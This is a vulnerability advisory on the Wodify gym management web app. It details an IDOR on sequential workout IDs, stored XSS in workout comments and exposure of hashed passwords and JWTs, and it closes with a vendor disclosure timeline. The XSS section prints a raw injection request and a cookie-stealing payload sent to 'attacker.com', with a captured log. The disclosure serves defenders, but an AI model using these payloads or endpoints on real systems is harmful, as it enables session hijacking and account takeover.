Wodify

ADVISORY SUMMARY

An IDOR vulnerability allowed reading and modifying the workouts of all users of the Wodify platform. Additionally, this access was not limited to a single gym/box/tenant, so it was possible to enumerate all entries globally and modify them. While modifying the data, an attacker could insert malicious stored JavaScript payloads, leading to XSS. This could be leveraged to hijack a user’s session, steal a hashed password, or the user’s JWT through the Sensitive Information Disclosure vulnerability.

Thus, a combination of these three vulnerabilities could have a severe business and reputational risk for Wodify, as it would allow an authenticated user to modify all their production data, but also extract sensitive PII.

Additionally, compromising administrative gym user accounts could allow an attacker to modify the payment settings, and thus, have a direct financial impact, as the attacker could eventually get paid by the gym members instead of the legitimate gym owner(s).

Impact

An authenticated attacker could read and modify all other users’ workouts data, extract PII, and eventually gain access to administrative accounts with the aim of financial gains. Thus, overall, it would cause a severe reputational damage, with a potential financial damage for Wodify gyms and boxes by tampering their payment settings.

 

Risk Level

High

Affected Vendor

Product Vendor

Product Name

Wodify

Wodify gym management web application


Product Description

The Wodify gym management web application is designed to help gyms grow. It is heavily used among CrossFit boxes, mainly in the US, but also across other continents and countries.


Vulnerabilities List:

Three vulnerabilities were identified within the Wodify web application:

INSUFFICIENT AUTHORIZATION CONTROLS/IDOR

STORED CROSS-SITE SCRIPTING (XSS)

SENSITIVE INFORMATION DISCLOSURE


The vulnerabilities are described in the sections below.

Solution

Wodify has not confirmed a patch yet. We advise Wodify customers to reach out to Wodify.

 

VULNERABILITIES

INSUFFICIENT AUTHORIZATION CONTROLS

The Wodify application was affected by insufficient authorization controls, allowing an authenticated attacker to disclose and modify any other user’s workout data on the Wodify platform. The data modification example in the report was performed with consent on a collaborator’s account, and the proof-of-concept payload was removed following the screenshot. However, the ability to modify data means that an attacker could modify all workout results and insert malicious code to attack other Wodify users, including instance or gym administrators. The Cross-site Scripting (XSS) vulnerability describes how the authorization control issues can be leveraged in further attacks against users.

CVE ID

Security Risk

Impact

Access Vector

N/A High

Escalation of privileges

Remote


This was accomplished by modifying the PerformaceResultId parameter on the endpoint https://mobile.wodify.com/Mobile/MyPerformance_Edit.aspx  to a value belonging to another user. Because performance result IDs were sequential, it was possible to enumerate workout results for multiple users in a small proof-of-concept attack:

FIGURE 1 - Workout results being enumerated

The Payload number represents the PerformaceResultID and the Length represents the length of the HTTP response, indicating that actual results were returned to the attacker. Non-existent PerformaceResultID numbers returned a 404 response. Any authenticated user could view any other users’ workout data by using the following mobile API endpoint and specifying the workout result identifier:

https://mobile.wodify.com/Mobile/MyPerformance_Edit.aspx?PerformanceResultId=381340828

FIGURE 2 - Workout 381340828


When visited, the endpoint returned data about the other user’s workout:

FIGURE 3 - Details of workout 381340828


To better visualize the owner of the workout result, another endpoint was used to view the stored result by using the following HTTP GET request:

https://mobile.wodify.com/Social/ViewConversationPopupEntry.aspx?EntityId=381340828&EntityTypeId=1&LocationId=6551


FIGURE 4 - Workout 381340828 disclosing the user’s name and other people’s comments


The initial https://mobile.wodify.com/Mobile/MyPerformance_Edit.aspx?PerformanceResultId=[ID] endpoint would also allow an attacker to modify any workout result on the Wodify platform. To demonstrate the issue, the workout result with the identifier 381340828 was updated to include a malicious JavaScript payload, which is further explained in the Cross-site Scripting (XSS) finding.

The figure below shows the JavaScript payload that was inserted as a comment:

FIGURE 5 - Adding a malicious JavaScript payload into the workout’s comment

The XSS would then trigger once the workout was loaded either on the web application or on the Wodify mobile application, as shown below:

FIGURE 6 - Triggered XSS on the web application


This instance of insufficient authorization controls allows an attacker to disclose and modify all Wodify users’ workout data. The information disclosure in these affected instances was limited to first and last names, as well as the users’ profile pictures. (The data modification example above was performed with consent on a collaborator’s account, and the proof-of-concept payload was removed following the screenshot.)

However, the ability to modify data means that an attacker could modify all workout results and insert malicious code to attack other Wodify users, including instance or gym administrators. The Cross-site Scripting (XSS) finding describes how the authorization control issues can be leveraged in further attacks against users.

STORED CROSS-SITE SCRIPTING (XSS)

The Wodify application was vulnerable to four instances of stored cross-site scripting (XSS). One such instance allowed an attacker to insert malicious JavaScript payloads into workout results. Any user that viewed the page with the stored payload would execute the JavaScript and perform actions on behalf of the attacker. If an attacker gained administrative access over a specific gym in this manner, they would be able to make changes to payment settings, as well as access and update other users’ personal information.

CVE ID

Security Risk

Impact

Access Vector

N/A High

Escalation of privileges
Information disclosure

Remote


While authenticated as a regular user, the following HTTP POST request was sent, containing a cross-site scripting payload that would be stored in the application:

POST /Mobile/Coachboard.aspx?_ts=1611537110046 HTTP/1.1

Host: mobile.wodify.com

…omitted for brevity…

&__VIEWSTATE=&__VIEWSTATEGENERATOR=AF8D5E6A&wt181%24wtMainContent%24wtDate_Input2=12%2F22%2F2020&wt181%24wtMainContent%24W_Utils_UI_wt150%24block%24wtDateInputFrom=22%2F12%2F2020&wt181%24wtMainContent%24wt124=48040&wt181%24wtMainContent%24wt84=6551&wt181%24wtMainContent%24wt102=102565859&wt181%24wtMainContent%24Performance_UI_wtPerformanceEdit%24block%24wtPerformanceResult_Minutes=10&wt181%24wtMainContent%24Performance_UI_wtPerformanceEdit%24block%24wtPerformanceResult_Seconds=2&wt181%24wtMainContent%24Performance_UI_wtPerformanceEdit%24block%24wtPerformanceResult_Comment=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E&wt181%24Mobile_UI_wt21%24block%24wt13%24wttxtuContent=&wt181%24Mobile_UI_wt21%24block%24wt13%24wttxtOnStart=&__AJAX=1903%2C1106%2Cwt181_wtMainContent_Performance_UI_wtPerformanceEdit_block_wt200%2C514%2C10%2C0%2C0%2C47%2C528%2C

FIGURE 7 - Inserting the malicious JavaScript payload into a Performance Result Comment

The application accepted the request. When anyone viewed the entry, the simple JavaScript payload was triggered, as shown below:

FIGURE 8 - Simple JavaScript payload triggered to display number 1


An attacker could exfiltrate the affected users’ document.cookie content and send it to a remote host with a malicious JavaScript payload such as the following:

<img src=/ onerror=this.src='http://attacker.com:8085/getCookie?'+document.cookie>

When the victim visits the affected page, the payload would execute, transmitting the user’s cookie to an attacker-controlled server, as shown below:

# python -m SimpleHTTPServer 8085
Serving HTTP on 0.0.0.0 port 8085 ...
85.27.124.240 - - [25/Jan/2021 10:58:11] code 404, message File not found
85.27.124.240 - - [25/Jan/2021 10:58:11] "GET /getCookie?AuthenticationToken=LoggedOut;%20CordovaVersion=;%20pageLoadedFromBrowserCache=true;%20nr2W_Theme_UI=crf%3djmfkLnj9sxJGtOMQMk8%2fuLsrm2k%3d%3buid%3d2097719%3bunm%3dt_6399_[USER_EMAIL_ADDRESS] HTTP/1.1" 404 -

FIGURE 9 - Capture of the document.cookie content on the remote host


Alternatively, an attacker could craft a payload to load an external JavaScript file to perform actions on behalf of the user. For example, the payload could change a victim’s email and take over the account by issuing a password reset (note: changing the email address did not require providing the current password). An attacker could similarly leverage the Sensitive Information Disclosure vulnerability to retrieve a victim’s hashed password or JWT (i.e., session token).

SENSITIVE INFORMATION DISCLOSURE

The Wodify application disclosed the authenticated user’s hashed password and the JWT on a specific endpoint. Leveraging another vulnerability, such as the Cross-site Scripting (XSS) finding included in this report, an attacker could exfiltrate users’ hashed passwords and JWTs.

CVE ID

Security Risk

Impact

Access Vector

N/A Medium

Information disclosure

Remote

The Wodify application disclosed the authenticated user’s hashed password and the JWT on the /ViewConversationPopupEntry.aspx endpoint. Leveraging another vulnerability, such as the Cross-site Scripting (XSS) finding included in this report, an attacker could exfiltrate users’ hashed passwords and JWTs.

The following URL disclosed the sensitive information, as shown in the response below:

https://mobile.wodify.com/Social/ViewConversationPopupEntry.aspx?EntityId=378119661&EntityTypeId=1&LocationId=6551


HTTP/1.1 200 OK
Date: Mon, 25 Jan 2021 01:29:01 GMT
…omitted for brevity…
<script>$(document).ready(function(){
   // Initialize Conversation Utilities
   // Updated
   w_.conv.conversationUtils.init(
   {
       // Session user info
       UserId:             '2097719',
       Password:           '$1$o/7Q4A+VGVmOPmM3tsaLk/Z5aJbDMQlWaP9TJ3IqWPk=2A8182E35D9FC29691FDD89262F82A378AFCCA300D3AF0D[REDACTED]5645EA8B28B19B4D963CF',
       SubscribeOnComment: true,
       AllowedToComment:   true,
       IsAdmin:           false,
       TenantId:           '6399',
       EnableDebugMode:   false,
       Token:             'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.REDACTED]KUq46uvhjnuw'
   },
   {
…omitted for brevity…

FIGURE 10 - Current user’s hashed password and token disclosed


An attacker could use this page to retrieve other users’ sensitive information and use it directly against the Wodify platform, by cracking the hashed passwords or by reusing the JWT or session tokens. Additionally, cracked passwords could be reused against other platforms and systems, as users tend to reuse their passwords. Thus, the hashed password disclosure puts Wodify users at greater risk.

 

Credits

Timeline

  • 01/07/2021: Initial discovery
  • 02/12/2021: Contact with vendor
  • 02/23/2021: Vendor acknowledged the reception of the disclosure email
  • 03/13/2021: Contacted the Vendor again, but no acknowledgment of the vulnerabilities
  • 04/05/2021: Contacted the Vendor’s CEO
  • 04/06/2021: Vendor’s CEO acknowledged the vulnerabilities and introduced their head of technology
  • 04/12/2021: Vulnerabilities further explained over a meeting with the Vendor and fully acknowledged by the Vendor
  • 04/19/2021: Vendor told us that the vulnerabilities would get fixed within the 90 days starting from the second acknowledgment of the vulnerabilities
  • 04/30/2021: Vendor told us that the new version would come out within four weeks
  • 05/12/2021: Vendor told us that they will release the app on June 11th, 2021
  • 06/15/2021: Vendor pushed the release of the patched application to June 26th
  • 06/29/2021: Vendor contacted, but no updates provided.
  • 07/02/2021: Vendor contacted again, reminding them that they were approaching the second 90 days deadline (150 days in total since the initial disclosure)
  • 07/13/2021: Vendor finally responded, and told us that they pushed their final release to August 5th
  • 07/21/2021: Vendor notified that we will wait their final disclosure and also provided them with an extra week, thus, disclosure date pushed to August 13th, giving the vendor a full half year or 180 days since the very initial disclosure
  • 08/06/2021: Vendor notified that we will proceed with the public disclosure
  • 08/13/2021: No communication from the vendor since July  13th